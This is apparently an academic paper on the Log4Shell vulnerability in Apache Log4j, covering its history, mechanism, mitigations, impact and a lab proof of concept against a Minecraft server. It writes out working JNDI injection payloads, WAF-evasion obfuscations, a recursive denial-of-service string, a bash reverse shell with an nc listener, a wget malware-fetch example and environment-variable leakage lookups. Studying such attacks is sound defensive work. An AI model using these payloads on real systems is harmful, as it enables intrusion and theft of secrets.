Log4Shell in Practice: Understanding the Log4j Vulnerability

Daniel M. Brasil1 , Marcus V. P. Prestes1 , Mauro Miazaki1

1
Department of Computer Science
Midwestern State University - UNICENTRO
Guarapuava, Paraná, Brazil.
[email protected],{marcusprestes,maurom}@unicentro.br

Abstract. Log4Shell is a critical zero-day vulnerability that allows for Remote

Code Execution (RCE) exploits and was publicly disclosed on December 10,
2021. It exploits a security flaw found in the popular Log4j library, and any
service that uses the library is possibly vulnerable to it. This paper presents the
Log4Shell vulnerability, details how it works, and discusses some of the devel-
oped mitigation methods and the impacts caused by it. Furthermore, a Proof of
Concept (POC) containing a vulnerable system in a controlled environment was
developed in order to demonstrate how the vulnerability works in practice.

1. Introduction
According to [AMR 2021], during the year of 2021 around 15% of all Internet user com-
puters around the world experienced at least one Information Security incident. With
the increasing number of devices connected to the Internet and the worldwide neces-
sity for software, new vulnerabilities that affect deployed systems are introduced. In the
past, vulnerabilities such as Heartbleed1 disrupted the operations of systems worldwide
[Hiesgen et al. 2022].
A software vulnerability can be described as a security flaw found in software code
that could be exploited by a threat actor, creating a threat source for a computer system
[NIST 2022]. One of the most recent vulnerabilities found is the Log4Shell vulnerability,
disclosed on December 10, 2021 [MITRE 2021a]. It is an easy-to-exploit vulnerability
found in the popular Log4j2 library.
Log4Shell has been considered one of the most critical vulnerabilities in recent
years due to several reasons. It allowed for RCE, Information Disclosure and Denial
of Services (DoS) attacks [MITRE 2021a, MITRE 2021d]. Apart from that, it received
a Common Vulnerability Scoring System (CVSS) severity rating of a maximum 10.0
[NIST 2021a]. Moreover, the only requirement to exploit this vulnerability is through a
specially crafted string logged by a vulnerable application.
Given the significance of this vulnerability and the impacts it has caused around
the world, this paper aims to introduce and detail how the Log4Shell vulnerability works,
discuss methods used to mitigate it and present some of the impacts it has caused to
the software community worldwide. Furthermore, a POC was developed by deploying
a vulnerable software in a controlled environment to demonstrate how this vulnerability
works in practice.
1
CVE-2014-0160. More details at: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-0160.
2
Available at: https://logging.apache.org/log4j/2.x/index.html.
 Section 2 provides a background regarding the Log4j library and Log4Shell. Sec-
tion 3 presents the methodology used for the POC development, while Section 4 discusses
the results obtained with the POC experiment. Finally, Section 5 provides conclusions.

2. Background
This section presents detailed information about the Log4Shell vulnerability. Section 2.1
describes briefly what logs are and their importance, as well as the Log4j library. Section
2.2 presents Log4Shell, addressing how this vulnerability was discovered, how it works,
and the impacts caused by it.

2.1. Logs and Log4j

Logs are computer-generated and time-stamped documentation of events that occur in a

computer system. These events are recorded in log files, which contain relevant informa-
tion about activities, usage patterns and operations within a computer system.
According to [Sabato et al. 2007], logs can be an important source for computer
system management. They hold textual messages written by the system itself about its
operation. These messages can be used by the system administrators to identify problems,
anomalies, or security breaches.
Furthermore, logs may be useful in a variety of different scenarios. These files
may be used for legal purposes as evidence in court, for reconstructing attacks, for iden-
tifying suspicious user behavior, etc. [Studiawan et al. 2019].
With that being said, storing logs is an important matter for any kind of computer
system. From operating systems to web applications, logs are fundamental and may hold
an important role in case of failures, attacks or even for legal matters.
Log4j is an open-source Java-based logging framework, maintained by the Apache
Software Foundation3 . It is one of the most used logging solutions for Java-based ap-
plications, as shown by [Turunen 2021], log4j2-core is the top 252nd most downloaded
component from Maven Central Repository4 , out of more than 7.1 million available com-
ponents. Between August and December 2021, over 26 million downloads of Log4j were
observed. Therefore, Log4j is worldwide used in different types of software, from a sim-
ple web application to Amazon Web Services (AWS) Elastic Beanstalk5 , among other
AWS products [NCSC-NL 2022].

2.2. Log4Shell

This section is divided into four sections. Section 2.2.1 describes the history of Log4Shell.
Section 2.2.2 details how this vulnerability works. Section 2.2.3 discusses mitigations and
other countermeasures taken into considerations. Finally, Section 2.3 presents the impacts
caused by the Log4j vulnerabilities.
3
Available at: https://apache.org.
4
Maven is the most significant Java package repository. Available at:
https://mvnrepository.com/repos/central.
5
Available at: https://aws.amazon.com/elasticbeanstalk.
2.2.1. History of Log4Shell

Log4Shell, as it is popularly known, or CVE-2021-44228 [MITRE 2021a], as tracked

by the MITRE Corporation’s CVE system, is a zero-day vulnerability found in the Java-
based Log4j logging utility. This vulnerability allows for RCE and Information Dis-
closure attacks by injecting a prepared string into the log messages. It affects Log4j
versions v2.0-beta9 through v2.15.0 (excluding security releases v2.12.2, v2.12.3, and
v2.3.1) [MITRE 2021a, Everson et al. 2022]. The RCE vulnerability is the reason for the
popular name. ”Log4Shell” is a combination of ”Log4j” and ”shell”, a reference to using
the Log4j vulnerability to gain access to a shell. The National Institute of Standards and
Technology (NIST) classified this vulnerability as critical, giving it a CVSS severity score
of a maximum 10.0 [NIST 2021a].
This vulnerability was originally discovered by Chen Zhaojun of Alibaba Cloud
Security Team [Apache 2022a], who reported it directly to Apache on November 24,
2021. However, the origin of this issue reports back to 2013, when Log4j version 2.0-
beta96 was released. In 2013, a Log4j user requested a feature to enable JNDI (Java
Naming Directory Interface) Lookups in the logging framework [Apache 2013], which
was then added and included in the Log4j utility. This feature is the root cause of the
Log4Shell vulnerability.
JNDI is a directory service for Java that allows programs to find data through an
existing directory. Through its Service Provider Interfaces (SPIs), it allows various dif-
ferent directory services, such as the Java RMI (Remote Method Invocation) Registry and
LDAP (Lightweight Directory Access Protocol) [Graham-Cumming 2021]. The LDAP
directory service is the main focus of CVE-2021-44228, although other services like RMI
could also be used.
According to [Graham-Cumming 2021], JNDI and LDAP can be used together
by a Java program to retrieve a Java object from a local or a remote server. While JNDI
is responsible for connecting to an LDAP server, the LDAP service is responsible for
retrieving the requested object. That means, a Java program can retrieve a Java object
from anywhere on the Internet using the JNDI and LDAP services.
After the vulnerability was reported to Apache on November 24, a CVE record
was created on November 26, but it was not published until December 10, when the CVE-
2021-44228 was publicly disclosed [Hiesgen et al. 2022]. Meanwhile, on November 30,
a pull request on the Log4j’s repository7 was opened to fix the issue, which was merged
five days later, on December 5. As mentioned previously, Log4j is an open-source project,
that means its source-code is available to anyone on the Internet. Therefore, the PR caused
the vulnerability to be leaked publicly before the official public disclosure of the CVE by
the MITRE Corporation.
The first exploitation attempts were recorded by Cloudflare8 on December 1
[Graham-Cumming and Martinho 2021], and Cisco9 on December 2 [Brumaghin 2021],
nine and eight days before the CVE-2021-44228 was published on December 10, respec-
6
Available at: https://blogs.apache.org/logging/entry/apache log4j 2 0 beta9.
7
Available at: https://github.com/apache/logging-log4j2/pull/608.
8
Available at: https://www.cloudflare.com.
9
Available at: https://www.cisco.com.
tively. However, as observed by [Graham-Cumming and Martinho 2021], there was only
a limited testing of the vulnerability before the official disclosure. According to both
companies reports, the widespread scanning started on December 10. Figure 1 shows a
timeline of relevant events regarding Log4Shell between November 26 and December 28,
2021.
Nine minutes after CVE-2021-44228 was published, the first exploit attempt was
registered by Cloudflare [Graham-Cumming and Martinho 2021], which was followed by
mass attempts that lasted for several days. According to [Hiesgen et al. 2022], Mirai and
Muhstik botnets, crypto miners, and other malware were observed to use the Log4Shell
vulnerability for propagation within a day. This shows how quickly attackers exploit
newly found vulnerabilities.

Figure 1. Log4Shell’s events timeline. Adapted from [Everson et al. 2022].

On December 6, Apache released Log4j v2.15.0 to address the vulnerability re-

ported in CVE-2021-44228 [Apache 2022b]. It disabled the Message Lookup Substi-
tution feature by default [MITRE 2021a], which was the only known attack vector at
the time. For users unable to upgrade to v2.15.0, it was recommended to remove the
JndiLookup class from the log4j-core package. This and other mitigation methods are
discussed in Section 2.2.3.
The fix provided by v2.15.0 was incomplete in certain non-default configurations,
and another attack vector was discovered. It was published on December 14 as CVE-
2021-45046 [MITRE 2021c]. The newly found vulnerability could allow an attacker with
control over Thread Context Map (MDC) to input data and trigger JNDI Lookups when
Log4j configuration uses a non-default Pattern Layout with either a Context Lookup or
an MDC Lookup, resulting in Information Disclosure and RCE exploits in some envi-
ronments, while Local Code Execution (LCE) in all environments [MITRE 2021c]. This
vulnerability was given a severity score of 9.0, being classified as critical [NIST 2021c].
Patch v2.16.0 (for Java 8) and v2.12.2 (for Java 7) were released on December 13 to ad-
dress this issue. The fix consisted in disabling JNDI functionality by default and removing
support for Message Lookups [Apache 2022b].
As Log4Shell gained notoriety, security researchers focused their attention on
Log4j and were quick to discover new attack vectors. On December 17, Apache released
new patches (v2.17.0, v2.12.3 and v2.3.1 for Java 8, 7 and 6, respectively), to fix another
vulnerability found in the logging framework. CVE-2021-45105 could allow an attacker
with control over MDC to perform a Denial of Service (DoS) caused by infinite recur-
sion from self-referential Lookups [MITRE 2021d]. NIST esteemed this vulnerability as
medium, giving it a severity score of 5.9 [MITRE 2021d].
Ten days after CVE-2021-45105 was publicly disclosed, another RCE vulnera-
bility was encountered in Log4j. It was published on December 28 as CVE-2021-44832
[MITRE 2021b]. This vulnerability could allow an attacker with control over the Log4j
configuration to set a malicious data source for the JDBC (Java Database Connectivity)
Appender. That data source refers to an attacker-controlled JNDI URL, which could then
be used to download and run arbitrary code on the target [MITRE 2021b]. Although it is a
RCE vulnerability, NIST deemed it as medium with a severity score of 6.6 [NIST 2021b].
That happened due to the fact that this vulnerability requires a crucial precondition — an
attacker must have the permissions to edit the log4j.xml (Log4j’s configuration) file,
which is only available to a highly leveled user [Wechsler 2021]. This precondition makes
CVE-2021-44832 less likely to be exploited.
CVE-2021-44832 ended a series of critical vulnerabilities found in the famous
Log4j package. This series lasted from December 10, 2021, when the first vulnerability
was publicly disclosed, to December 28, when the last of Log4Shell’s security flaws was
published. Log4j v2.17.1 is the recommended version for all users, as it is not vulnerable
to any of the previously mentioned vulnerabilities. By the time this paper was being
written, two other versions of Log4j were released [Apache 2022b]. Versions v2.17.2 and
v2.18.0 are also not vulnerable to the Log4Shell vulnerability.

2.2.2. How Log4Shell works

Log4j enables by default a feature known as Message Lookup Substitution or shortly

as Lookups [Apache 2022c]. This feature allows certain special strings to be evalu-
ated and replaced at logging time by other auto-generated strings [Menashe et al. 2021].
Any string that follows the syntax ${prefix:name} is evaluated by Log4j, which
performs the Lookup defined by the prefix, where name should be evaluated
[Graham-Cumming 2021]. For example, logging the string ${java:version} yields
an output similar to Java 1.8.0 181-b13. The latter contains the running version of
Java present in the machine that logged, and evaluated, the example input.
In 2013, LOG4J2-313 added the JNDI Lookups to Log4j [Apache 2013]. The
description of this feature is as follows: “The JndiLookup allows variables to be retrieved
via JNDI. By default, the key will be prefixed with java:comp/env/, however if the key
contains a “:” no prefix will be added.” [Apache 2022c]. In other words, when there is
a ”:” present in the message, as in ${jndi:ldap://example.com/A}, no prefix is
added and the LDAP URL is queried for the object. These Lookups can be used in either
the Log4j configuration and logged messages [Graham-Cumming 2021].
By logging the string ${jndi:ldap://example.com/A}, a vulnerable ver-
sion of Log4j would contact the LDAP server at example.com and retrieve the A class
from that server. Since the query, ldap://example.com, is a URL, the Lookup can
be performed in both local and remote services [Hiesgen et al. 2022]. Apart from LDAP,
other services could also be contacted by JNDI Lookups. These services include the
secure version of LDAP, LDAPS, the RMI Registry and DNS (Domain Name System),
although, some of them may not be available by default. While LDAP, LDAPS and RMI
Registry could be used to retrieve malicious code from remote servers, DNS could only
be used to identify vulnerable servers [Menashe et al. 2021].
Considering the fact that logged messages are evaluated, all an attacker had
to do was to find a user-controlled input that gets logged and add their payload
[Graham-Cumming 2021]. These inputs can range from common HTTP headers such
as User-Agent to form fields like username [Graham-Cumming 2021], which are
usually logged for user experience and security purposes, respectively. This makes
Log4Shell trivial to be exploited, as values like User-Agent, which is automatically
generated by web browsers, are rarely sanitized because they are considered to be safe
[Menashe et al. 2021].
Figure 2 shows a possible attack scenario. In this example, the attacker sends
an HTTP GET request to a web server hosted at victim.com, placing the Log4Shell
payload in the User-Agent header. The value of this header might be logged so that
operators can understand what web browsers, operating systems and devices they should
support for an enhanced user experience purposes [Hiesgen et al. 2022]. The example
exploit targets a JNDI Lookup in order to make the vulnerable application contact an
LDAP server, which is controlled by the attacker.

Figure 2. A possible Log4Shell’s attack scenario on a vulnerable web server.

Adapted from [Hiesgen et al. 2022].

The vulnerable application then logs the attacker’s request using a vulnerable
version of Log4j. At logging time, Log4j identifies the special string contained in the
User-Agent header and performs the JNDI Lookup by contacting the LDAP server at
attacker.com and requesting the Evil class. The malicious LDAP server then sends
a response containing the requested Java object. This object contains shell commands,
such as wget http://attack.com/xms, that tells the vulnerable web server to
download a malware from a compromised remote HTTP server and execute it locally.
This example presents every step for an attacker to exploit the RCE vulnerability
found in Log4j and run arbitrary code on a vulnerable application. Aside from that, it
shows how trivial it is to exploit the Log4Shell vulnerability.
Furthermore, as mentioned in Section 2.2.1, the vulnerabilities found in Log4j
also allowed for Information Disclosure and DoS exploits. An Information Disclo-
sure, also known as Information Leakage, vulnerability allows an attacker to compel
a server to unintentionally reveal data. The leaked information may contain sensitive
data, such as credentials, and/or technical data about the system and its infrastructure
[PortSwigger 2022]. On the other hand, a Denial of Service attack consists of render-
ing a computer, or any other device, unavailable to its intended users by interrupting its
functionality [CloudFlare 2022].
Apart from the JNDI Lookup, Log4j provides several others Lookups for enriched
log messages. Some examples are Docker Lookup, Environment Lookup, Java Lookup,
etc. [Apache 2022c]. Java Lookups can be used to retrieve information about the run-
ning Java environment, such as Java’s version, locale, host’s operating system, hardware
details, etc. Another interesting Lookup is the Environment Lookup, it allows Log4j to
fetch system environment variables set either in global files such as /etc/profile, for
Linux-based operating systems, or in the startup scripts for applications [Apache 2022c].
Java Lookups can be done using the java: prefix, as in ${java:version},
which returns the running Java version. Environment Lookups start with the env: pre-
fix, followed by the variable name. For example, ${env:USER} returns the value of a
variable called USER.
If an attacker placed a Java Lookup or an Environment Lookup
string within the JNDI Lookup expression of a Log4Shell exploit, as in
${jnid:ldap://example.com/${java:version}}, it would be evalu-
ated and sent back as part of the JNDI Lookup [Everson et al. 2022]. This way, an
attacker could compel a server to return its hardware information, for instance, using
a Java Lookup, or to return one of its environment variables using the Environment
Lookup. Consequently, causing information to be leaked in the form of an Information
Disclosure attack.
Finally, in CVE-2021-45105 a DoS vulnerability was described regarding one
of the Log4j Lookups, the Context Map Lookup [MITRE 2021d]. This vulnerabil-
ity could cause a DoS attack in the target server by infinite recursion. According
to [Initiative 2021], unlike CVE-2021-45046 and CVE-2021-44832, CVE-2021-45105
should not be considered a variant of Log4Shell (CVE-2021-44228) as it does not allow
for RCE, nor uses JNDI Lookups. However, it abuses a similar attack vector.
This vulnerability explores the recursive method substitute() found in
the StrSubstitutor class. When a nested variable references the variable be-
ing replaced, the recursion is called with the same string, which causes infinite re-
cursion, thus, a DoS condition [Initiative 2021]. For instance, if the Pattern Lay-
out contains a Context Lookup of ${ctx.apiversion} and its assigned value is
${${ctx.apiversion}}, the substitute() method will call itself indefinitely,
as demonstrated by [Initiative 2021].
As discussed in this section, Log4Shell is a dangerous vulnerability found in the
Log4j logging framework. Apart from allowing for RCE, Information Disclosure and
DoS (in the case of CVE-2021-45105) attacks, what has made it even more dangerous is
the fact it can be exploited with ease. For instance, anyone regardless of their technical
skills could enter a string (e.g. ${${::-${::-$${::-j}}}}) in a username field and
launch a DoS attack on a vulnerable server.

2.2.3. Log4Shell mitigation

In cybersecurity, mitigation, and remediation are two concepts that are often used inter-
changeably, though, they have different meanings. Mitigation refers to minimizing the
risks of a threat, but not removing it completely. On the other hand, remediation refers
to utterly eradicating a threat [Kapon 2022]. Remediation, in practice, could be described
as uninstalling a vulnerable component or replacing it with a patched version that is no
longer vulnerable. While, mitigation can be much complicated as it may involve several
measures to lower the risk of the threat [Everson et al. 2022].
In the case of Log4Shell, the remediation can be done by upgrading Log4j to a
non-vulnerable version (e.g. v2.17.1). By doing so, the threat would be eradicated, and
the system would no longer be vulnerable. However, upgrading is not always an option
for some systems. For such cases, mitigation measures were proposed to deal with the
threat.
The initial mitigation proposed for CVE-2021-44228 was to disable the vulnera-
ble feature, Message Lookup Substitution, using an environment variable. For example,
this variable could be set on the shell before loading the Java application by running the
command export LOG4J FORMAT MSG NO LOOKUPS=true. This variable could
also be set system-wide by appending LOG4J FORMAT MSG NO LOOKUPS=true to
the /etc/environment file on Linux-based operating systems. Alternatively, the
feature could be disabled for specific invocations of the JVM (Java Virtual Machine)
by adding the command-line flag -Dlog4j2.formatMsgNoLookups=True when
running the Java application. This method is only appliable for Log4j v2.10.0 and later
versions [Menashe et al. 2021].
The initial proposed solution was also adopted by the version v2.15.0 of Log4j,
which disabled Message Lookup Substitution by default [MITRE 2021a]. However, this
solution was proved insufficient in CVE-2021-45046 for non-default configurations of
Log4j. Although the proposed solution could be bypassed for non-default configuration,
the conditions for it to happen were very unlikely [Menashe et al. 2021]. Most impor-
tantly, it worked for all default configurations of Log4j [Miessler 2021].
Another proposed method, appliable for all v2.x versions of Log4j, was to re-
move the JndiLookup class from log4j-core. Once the vulnerable class was
removed, the Log4Shell vulnerability would be completely mitigated. Although this
method was sufficient to completely mitigate the threat, it was recommended as a last
resort [Menashe et al. 2021].
Additionally, another mitigation method that could lower the risk brought by
Log4Shell was to use WAFs (Web Application Firewall). A WAF behaves as a shield
between a web application and the Internet, protecting it from exposure by having
clients passing through the firewall before reaching the server [Cloudflare 2022]. Since
Log4Shell exploits use a special string that is usually passed in user-controlled inputs,
such as HTTP headers and form fields, it could be blocked by WAFs.
In the earliest stages of Log4Shell’s exploitation, simple WAF rules to search
for patterns such as ${jndi:ldap, ${jndi:rmi and ${jndi:dns were effective
to block attack attempts [Graham-Cumming and Martinho 2021]. However, rapidly af-
ter these strings were being blocked, attackers started using evasion techniques to by-
pass WAFs. The evasion techniques observed by [Graham-Cumming and Martinho 2021]
ranged from standard practices to bypasses crafted specifically for the Log4j Lookups
syntax.
The standard evasion techniques consisted of encoding or escaping characters to
obfuscate the obvious exploit string. Using HTML URL Encoding, for instance, the
${ characters could be disguised as %24%7B so that an exploit could be written as
%24%7Bjndi:ldap://attacker.com/A}. Though these techniques could suc-
cessfully obfuscate some of the characters found in the Log4Shell exploit, they are known
evasions. Therefore, any capable WAF could decode these characters and eventually
block the attack attempt [Graham-Cumming and Martinho 2021].
As time passed, attackers started designing new evasion techniques to bypass
WAFs. As observed by [Graham-Cumming and Martinho 2021], attackers were making
use of different Log4j Lookups in order to obfuscate the payload string. These Lookups
included ${date}, ${lower}, ${upper}, ${env}, among others. For example, the
string ${lower:J} is evaluated as j by Log4j. This way, attackers were able to abuse
Log4j features to bypass WAFs and their pattern searching rules by sending payloads such
as ${${lower:j}ndi:${date:’l’}${lower:d}a${lower:p}}, which would
be evaluated and transformed to ${jndi:ldap}.
Besides the sophisticated evasion techniques developed by attackers, WAFs were
still effective as several exploits did not use any evasion techniques or used some standard
one, as shown in Figure 3. Additionally, WAFs could treat any ${ as suspicious and con-
vert it to x{, for example, as proposed by [Graham-Cumming and Martinho 2021]. Al-
though the proposed sanitization was effective against any evasion using Log4j Lookups,
it could impact negatively some systems that may expect the ${ token in their logs
[Levine and Okamoto 2022].

Figure 3. Log4Shell’s payload patterns caught in the wild over time

[Graham-Cumming and Martinho 2021].

The presented mitigation methods may be used to lower the threat risk caused by
the Log4j vulnerability, or to even eradicate the threat in some cases. Combining these
methods may provide more efficient results regarding Log4Shell. However, upgrading to
a non-vulnerable version of Log4j is the recommended remediation and should be adopted
by all systems when possible.

2.3. Impacts caused by Log4Shell

As of December 19, 2021, an impact assessment by [Wetter and Ringland 2021] esti-
mated that over 17,000 packages available on Maven Central were affected by Log4Shell.
It represents roughly 4% of Maven ecosystem. The assessment shows that the affected
artifacts have at least one version that depends on a vulnerable version of Log4j. This
means that even software that do not use Log4j directly may be vulnerable to it, due to
their vulnerable dependencies.
Log4Shell proliferated quickly across the software industry, impacting systems
worldwide. As a consequence of the number of combinations of how this vulnerability can
be exploited, attackers were given several alternatives to bypass the introduced defenses.
This has turned Log4Shell into a Cyber Pandemic, as described by [Point 2021].
According to Check Point Research reports, over 800,000 attacks attempts were
noticed across the globe only three days after the public disclosure. Attempted exploits
were noted to impact over 48% of corporate network globally, affecting over 90 countries
in all regions [Point 2021]. Figure 4 shows the percentage of corporate networks affected
by Log4Shell worldwide, with the global average of 48.3%. In other words, nearly half
of global corporations were impacted by this vulnerability.

Figure 4. Log4Shell impacts across the world [Point 2021].

These numbers reveal why Log4Shell is treated as one of the most critical vulner-
abilities of recent years. Given Log4j’s popularity, Log4Shell spread worldwide rapidly,
challenging security teams to identify vulnerable systems and develop security measures
for them.

3. Methodology
This section presents the methodology for the POC implementation, the software used
and the virtual environment setup. A POC can be seen as a demonstration, a practical
implementation of a concept in order to demonstrate its feasibility. The POC implemented
in this research aims to demonstrate how the Log4Shell concepts discussed in this paper
works in practice.
3.1. Minecraft
Minecraft10 is a sandbox video game developed by Mojang Studios. It was initially writ-
ten in the Java programming language and currently supports Windows, macOS, Android,
iOS, Linux-based operating systems and video game consoles [Minecraft 2022a].
This game allows for both single-player and multiplayer playing modes
[Minecraft 2022b]. While the single-player mode only requires a single machine to run
the game, the multiplayer mode requires Minecraft servers. These servers allow multiple
players to play Minecraft online (via the Internet) or via a Local Area Network (LAN).
Both Minecraft: Java Edition client and Minecraft Server: Java Edition, from
versions from 1.7 to 1.18, were affected by the Log4j vulnerability [Minecraft 2022c].
With that being said, and considering Minecraft’s popularity, the game was chosen to
demonstrate how the Log4Shell vulnerability works in practice.

3.2. Environment setup

In order to simulate a real exploitation scenario, a controlled environment was set up for
this research. The environment consists of a vulnerable Minecraft Server and attacker-
controlled LDAP and HTTP servers disposed on the same virtual network. The described
environment was arranged using VirtualBox11 .
The target machine runs Minecraft Server: Java Edition 1.15.2-391, a Log4Shell
vulnerable version provided by PaperMC12 . The Java Development Kit (JDK) version
chosen for this experiment was Java 1.8.0 181-b13 (8u181) provided by Oracle13 .
Another virtual machine was created to simulate the attack-controlled servers.
This machine runs an LDAP service, responsible for querying the malicious Java objects,
and an HTTP server responsible for returning the queried object to the victim. The LDAP
and HTTP services were written in the Java programming language by [Silverman 2022].
However, the original POC was forked14 and modified by the author of this paper to
better suit its purposes. Both the target machine and the attack-controlled machine use
the Debian 1115 operating system. The JDK version used on this machine is OpenJDK
1.8.0 332.
To perform the exploits on the vulnerable server, the official Minecraft: Java Edi-
tion 1.15.2 was used in this experiment. The Minecraft client runs on a third machine
connected to the same virtual network, which is also controlled by the attacker.
The user-controlled input abused for the experiments is the Minecraft chat, it can
be opened when playing the game by pressing the T key. When a user is connected to a
Minecraft Server, the messages sent on the chat are logged by the server. Therefore, any
user connected to a vulnerable Minecraft Server could exploit the Log4j vulnerability by
sending the Log4Shell payload as a message on the chat.
10
Available at: https://www.minecraft.net.
11
Available at: https://www.virtualbox.org.
12
The version used in the POC is no longer available for downloads, only patched ver-
sion 1.15.2-393 is available on PaperMC website. However, it can be downloaded at:
https://github.com/danielmbrasil/log4shell-poc.
13
Available at: https://www.oracle.com/java/technologies/javase/javase8- archive-downloads.html.
14
The fork used is available at: https://github.com/danielmbrasil/log4shell-poc.
15
Available at: https://www.debian.org.
 This virtual environment was set up aiming to simulate a real scenario where an
attacker could exploit a vulnerable application using an external server with the LDAP
service. The results of this experiment are discussed in Section 4.

4. Results and Discussions

Using the virtual environment discussed in Section 3, some exploits of the Log4j vulnera-
bilities were tested to demonstrate how a real attack would work in practice. This section
presents the results obtained with this POC. Section 4.1 shows the results of a RCE exploit
and section 4.2 presents the results of Information Disclosure exploits. Denial of Service
attacks by infinite recursion, as described in CVE-2021-45105, were not appliable for the
used application. Finally, Section 4.3 discusses the effectiveness of mitigation methods
discussed in this paper.

4.1. Remote Code Execution

This experiment exploits the Log4j RCE vulnerability (CVE-2021-44228) by abus-
ing the JNDI Lookup feature. The exploit consists of inputting a special string
(payload) on the vulnerable server via the Minecraft chat. The following payload,
${jndi:ldap://10.0.0.172:9999/ReverseShell}, triggers a JNDI Lookup
on the target. The victim then connects to an LDAP server on IP address 10.0.0.172 on
port 9999 requesting for the ReverseShell class. This class contains malicious Java
code that initiates a Reverse Shell16 on the target.
Figure 5 shows the malicious Java class used for exploiting the tar-
get. This class contains the following shell command: bash -i >&
/dev/tcp/10.0.0.172/6065 0>&1. This commands starts a new interac-
tive instance of the bash command shell on the vulnerable application. Additionally, it
redirects the standard input and standard output of the newly created bash instance to the
IP address 10.0.0.172 on port 6065. Note that this IP address is the same as the LDAP
server’s. Therefore, the shell instance started on the target is being redirected to the
attacker-controlled machine.

Figure 5. Malicious Java code to be executed on victim’s machine.

16
Reverse shell is a way to gain remote access to a machine by making it connect back to the attacker’s
machine.
 Figure 6 shows how the attacker entered the payload on the vulnerable server.
Since messages sent on the chat are logged by the Minecraft server, the server becomes
an easy target to any user connected to it.

Figure 6. Attacker inputting payload using the Minecraft chat.

In order to receive the connection from the target machine, the attacker must open
the port 6065 on their machine. Figure 7 presents how the attackers opens port 6065
using the nc -lvp 6065 command. It is possible to notice that the attacker’s machine
received a connection from IP address 10.0.0.198 (target machine).

Figure 7. Attacker obtains access to target’s shell.

This experiment demonstrates how an attacker could exploit the RCE vulnerability
found in the Log4j utility. RCE vulnerabilities were disclosed in Log4j by CVE-2021-
44228, CVE-45046 and CVE-2021-44832. Apart from demonstrating how an exploit
works in practice, it also shows that this vulnerability can be exploited with ease.

4.2. Information Disclosure

Information Disclosure attacks aim to compel the target machine to reveal information it
was not supposed to reveal. This information may vary from environment variables to
system’s hardware details. In Log4j’s case, these attacks can be performed by combining
a JNDI Lookup with another Lookup, such as Environment Lookup or Java Lookup. For
example, when an Environment Lookup is combined with a JNDI Lookup, the result of
the Environment Lookup is returned as part of the JNDI Lookup, leading to information
leakage.
For this experiment, Environment and Java Lookups were combined with a JNDI
Lookup in order to leak data from the vulnerable server. Figure 8 shows two different pay-
loads sent to the target machine via Minecraft chat. The first payload uses Java Lookups,
such as ${java:vm} to obtain information about the Java Environment, while the sec-
ond payload uses Environment Lookups, ${env:HOME} for instance, to leak the value
of existing environment variables.

Figure 8. Payload aiming to leak information about target system.

Figure 9 shows information leaked with the Java Lookups used in the first payload.
These values were sent to the attacker-controlled LDAP server as part of the JNDI request.
In this example, it is possible to notice relevant data such as operating system version and
hardware details that were leaked by the victim.

Figure 9. Information leaked with Java Lookup.

In Figure 10 the leaked values of environment variables are shown. This experi-
ment used default Linux variables, such as USER and PATH, for demonstration. However,
using the Environment Lookup, it is possible to leak the value of any variable available to
the vulnerable application.

Figure 10. Information leaked with Environment Lookup.

Information Disclosure is a dangerous and severe threat to any application. It may

lead to the leakage of confidential data, such as passwords or secret keys (values that are
often store in environment variables), or to the leakage of other types of information such
as hardware details.

4.3. Testing mitigation methods

Some of the mitigation methods discussed in Section 2.2.3 were applied in the POC in
order to test their effectiveness. The discussed methods applied were disabling Message
Lookup Substitution feature using an environment variable and removing the JndiLookup
class.
Disabling the vulnerable feature, either using the command export
LOG4J FORMAT NO MSG LOOKUPS=true or the command-line flag
-Dlog4j2.formatMsgNoLookups=True, did not produce any successful re-
sults in this POC case. This method should disable all Message Lookup Substitution,
therefore, disabling JNDI Lookups as well. Minecraft’s official mitigation guide against
the Log4Shell vulnerability states that the proposed method only works for Minecraft
version 1.17 or higher [Minecraft 2022c]. Minecraft versions 1.12 to 1.16.5 (including
Minecraft 1.15.2 used in the POC), use Log4j’s versions below v2.10, therefore, this
method was not appliable. To cover these cases, it was proposed to use a different
configuration file17 for Log4j, which disables Message Lookup Substitution by default.
The official mitigation proposed by Minecraft was tested in the POC against CVE-
2021-44228. Figure 11 shows Lookups logged as plain text by Log4j after Message
Lookup Substitution was disabled. That means that the mitigation was successful, and
the application is no longer vulnerable to Log4Shell. Furthermore, the application was
not affected, and no side effects were noted.

Figure 11. Log4j Lookups logged as plain text after disabling Lookups.

Another mitigation discussed in Section 2.2.3 and tested in this POC was remov-
ing the JndiLookup class. This mitigation is appliable to Log4j2 version below v2.16.0
[Apache 2022a]. However, for this POC case, removing the vulnerable class was unsuc-
cessful. The Minecraft Server application used in this POC contains a module that verifies
the integrity of dependencies before executing. In case a modification is done to any of
its dependencies, the dependencies are redownloaded from Maven Central Repository.
Therefore, modifying the application is not possible.

5. Conclusions
This paper conducts a study about the Log4Shell vulnerability, presents the events that
followed its disclosure on December 10, 2021, as well as details how this vulnerability
works and discusses some of the developed mitigation methods and its impacts. Further-
more, this work provides a demonstration of the Log4Shell vulnerability in practice by
deploying a vulnerable Minecraft Server on a controlled environment and exploiting it
through the Minecraft client’s chat.
The presented POC demonstrated that Log4Shell can be exploited with ease, in-
jecting a specially crafted string into the chat might allow a threat actor to take control
over a vulnerable server. To add on, the fact that Log4j is one of the most used Java
artifacts worldwide, is what made Log4Shell as critical as it was.
One of the lessons learned with the Log4Shell vulnerability is that software de-
velopers should rethink how to approach cybersecurity in software development. Log4j2
17
This configuration is available at: https://launcher.mojang.com/v1/objects/02937d122c86ce73319ef
9975b58896fc1b491d1/log4j2 112-116.xml.
has been around since 2015 and all of its versions were vulnerable, for years. Develop-
ing software with security is mind is fundamental to avoid another threat as critical as
Log4Shell.

References
AMR (2021). Kaspersky Security Bulletin 2021. Statistics. Available at:
https://securelist.com/kaspersky-security-bulletin-2021-statistics/105205. Access
date: September 27, 2022.
Apache (2013). JNDI Lookup plugin support Export. Available at:
https://issues.apache.org/jira/browse/LOG4J2-313. Access date: August 28, 2022.
Apache (2022a). Apache Log4j Security Vulnerabilities. Available at:
https://logging.apache.org/log4j/2.x/security.html. Access date: August 28, 2022.
Apache (2022b). Changes. Available at: https://logging.apache.org/log4j/2.x/changes-
report.html. Access date: August 30, 2022.
Apache (2022c). Lookups. Available at: https://logging.apache.org/log4j/2.x/manual/lookups.html.
Access date: September 2, 2022.
Brumaghin, E. (2021). Threat Advisory: Critical Apache Log4j
vulnerability being exploited in the wild. Talos. Available at:
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html.
Access date: August 28, 2022.
